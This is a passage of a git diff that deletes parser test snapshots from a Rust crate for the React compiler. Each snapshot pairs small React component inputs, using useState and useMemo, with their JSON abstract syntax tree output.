-            "type": "Identifier",
-            "name": "useState",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              9,
-              17
-            ]
-          },
-          "local": {
-            "type": "Identifier",
-            "name": "useState",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              9,
-              17
-            ]
-          },
-          "loc": null,
-          "range": [
-            9,
-            17
-          ]
-        },
-        {
-          "type": "ImportSpecifier",
-          "imported": {
-            "type": "Identifier",
-            "name": "useMemo",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              19,
-              26
-            ]
-          },
-          "local": {
-            "type": "Identifier",
-            "name": "useMemo",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              19,
-              26
-            ]
-          },
-          "loc": null,
-          "range": [
-            19,
-            26
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "react",
-        "loc": null,
-        "range": [
-          34,
-          41
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        42
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          53,
-          62
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            63,
-            68
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    80,
-                    83
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      86,
-                      94
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        95,
-                        96
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    86,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  80,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              74,
-              98
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    122
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      125,
-                      132
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            139,
-                            163
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              164,
-                              165
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          139,
-                          166
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        133,
-                        166
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        133,
-                        166
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            169,
-                            170
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        168,
-                        171
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    125,
-                    172
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  107,
-                  172
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              101,
-              173
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    185,
-                    188
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  184,
-                  189
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      190,
-                      205
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    189,
-                    206
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    208,
-                    211
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  206,
-                  212
-                ]
-              },
-              "loc": null,
-              "range": [
-                184,
-                212
-              ]
-            },
-            "loc": null,
-            "range": [
-              177,
-              213
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          70,
-          215
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        44,
-        215
-      ],
-      "loc": null,
-      "range": [
-        44,
-        215
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          226,
-          236
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            237,
-            242
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        255,
-                        256
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    254,
-                    257
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      260,
-                      268
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        269,
-                        270
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    260,
-                    271
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  254,
-                  271
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              248,
-              272
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    281,
-                    296
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      299,
-                      306
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            313,
-                            337
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              338,
-                              339
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          313,
-                          340
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        307,
-                        340
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        307,
-                        340
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            343,
-                            344
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        342,
-                        345
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    299,
-                    346
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  281,
-                  346
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              275,
-              347
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    359,
-                    362
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  358,
-                  363
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      364,
-                      379
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    363,
-                    380
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    382,
-                    385
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  380,
-                  386
-                ]
-              },
-              "loc": null,
-              "range": [
-                358,
-                386
-              ]
-            },
-            "loc": null,
-            "range": [
-              351,
-              387
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          244,
-          389
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        217,
-        389
-      ],
-      "loc": null,
-      "range": [
-        217,
-        389
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    389
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-kitchensink-import.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-kitchensink-import.js.snap
deleted file mode 100644
index bc6ada608d6a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-kitchensink-import.js.snap
+++ /dev/null
@@ -1,756 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/babel-existing-react-kitchensink-import.js
----
-Input:
-import * as React from "react";
-import { useState, useMemo } from "react";
-
-function Component(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportNamespaceSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "React",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              12,
-              17
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            17
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "react",
-        "loc": null,
-        "range": [
-          23,
-          30
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        31
-      ]
-    },
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportSpecifier",
-          "imported": {
-            "type": "Identifier",
-            "name": "useState",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              41,
-              49
-            ]
-          },
-          "local": {
-            "type": "Identifier",
-            "name": "useState",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              41,
-              49
-            ]
-          },
-          "loc": null,
-          "range": [
-            41,
-            49
-          ]
-        },
-        {
-          "type": "ImportSpecifier",
-          "imported": {
-            "type": "Identifier",
-            "name": "useMemo",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              51,
-              58
-            ]
-          },
-          "local": {
-            "type": "Identifier",
-            "name": "useMemo",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              51,
-              58
-            ]
-          },
-          "loc": null,
-          "range": [
-            51,
-            58
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "react",
-        "loc": null,
-        "range": [
-          66,
-          73
-        ]
-      },
-      "loc": null,
-      "range": [
-        32,
-        74
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          85,
-          94
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            95,
-            100
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        113,
-                        114
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    112,
-                    115
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      118,
-                      126
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        127,
-                        128
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    118,
-                    129
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  112,
-                  129
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              106,
-              130
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    139,
-                    154
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      157,
-                      164
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            171,
-                            195
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              196,
-                              197
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          171,
-                          198
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        165,
-                        198
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        165,
-                        198
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            201,
-                            202
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        200,
-                        203
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    157,
-                    204
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  139,
-                  204
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              133,
-              205
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    217,
-                    220
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  216,
-                  221
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      222,
-                      237
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    221,
-                    238
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    240,
-                    243
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  238,
-                  244
-                ]
-              },
-              "loc": null,
-              "range": [
-                216,
-                244
-              ]
-            },
-            "loc": null,
-            "range": [
-              209,
-              245
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          102,
-          247
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        76,
-        247
-      ],
-      "loc": null,
-      "range": [
-        76,
-        247
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          258,
-          268
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            269,
-            274
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        287,
-                        288
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    286,
-                    289
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      292,
-                      300
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        301,
-                        302
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    292,
-                    303
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  286,
-                  303
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              280,
-              304
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "expensiveNumber",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    313,
-                    328
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      331,
-                      338
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "calculateExpensiveNumber",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            345,
-                            369
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              370,
-                              371
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          345,
-                          372
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        339,
-                        372
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        339,
-                        372
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            375,
-                            376
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        374,
-                        377
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    331,
-                    378
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  313,
-                  378
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              307,
-              379
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    391,
-                    394
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  390,
-                  395
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "expensiveNumber",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      396,
-                      411
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    395,
-                    412
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    414,
-                    417
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  412,
-                  418
-                ]
-              },
-              "loc": null,
-              "range": [
-                390,
-                418
-              ]
-            },
-            "loc": null,
-            "range": [
-              383,
-              419
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          276,
-          421
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        249,
-        421
-      ],
-      "loc": null,
-      "range": [
-        249,
-        421
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    421
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug.useMemo-deps-array-not-cleared.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug.useMemo-deps-array-not-cleared.js.snap
deleted file mode 100644
index e3b0cf91dcba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug.useMemo-deps-array-not-cleared.js.snap
+++ /dev/null
@@ -1,327 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/bug.useMemo-deps-array-not-cleared.js
----
-Input:
-function App({ text, hasDeps }) {
-  const resolvedText = useMemo(
-    () => {
-      return text.toUpperCase();
-    },
-    hasDeps ? null : [text] // should be DCE'd
-  );
-  return resolvedText;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "App",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "text",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  15,
-                  19
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "text",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  15,
-                  19
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                15,
-                19
-              ]
-            },
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "hasDeps",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  28
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "hasDeps",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  28
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                21,
-                28
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            13,
-            30
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "resolvedText",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      64
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "text",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    91,
-                                    95
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "toUpperCase",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    96,
-                                    107
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  91,
-                                  107
-                                ]
-                              },
-                              "arguments": [],
-                              "loc": null,
-                              "range": [
-                                91,
-                                109
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              84,
-                              110
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          76,
-                          116
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        70,
-                        116
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        70,
-                        116
-                      ]
-                    },
-                    {
-                      "type": "ConditionalExpression",
-                      "test": {
-                        "type": "Identifier",
-                        "name": "hasDeps",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          129
-                        ]
-                      },
-                      "alternate": {
-                        "type": "ArrayExpression",
-                        "elements": [
-                          {
-                            "type": "Identifier",
-                            "name": "text",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              140,
-                              144
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          139,
-                          145
-                        ]
-                      },
-                      "consequent": {
-                        "type": "NullLiteral",
-                        "loc": null,
-                        "range": [
-                          132,
-                          136
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        122,
-                        145
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    57,
-                    168
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  168
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              169
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "resolvedText",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                179,
-                191
-              ]
-            },
-            "loc": null,
-            "range": [
-              172,
-              192
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          32,
-          194
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        194
-      ],
-      "loc": null,
-      "range": [
-        0,
-        194
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    194
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug_object-pattern.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug_object-pattern.js.snap
deleted file mode 100644
index 96e7195b1f4f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@bug_object-pattern.js.snap
+++ /dev/null
@@ -1,232 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/bug_object-pattern.js
----
-Input:
-function component(t) {
-  let { a } = t;
-  let y = { a };
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "t",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
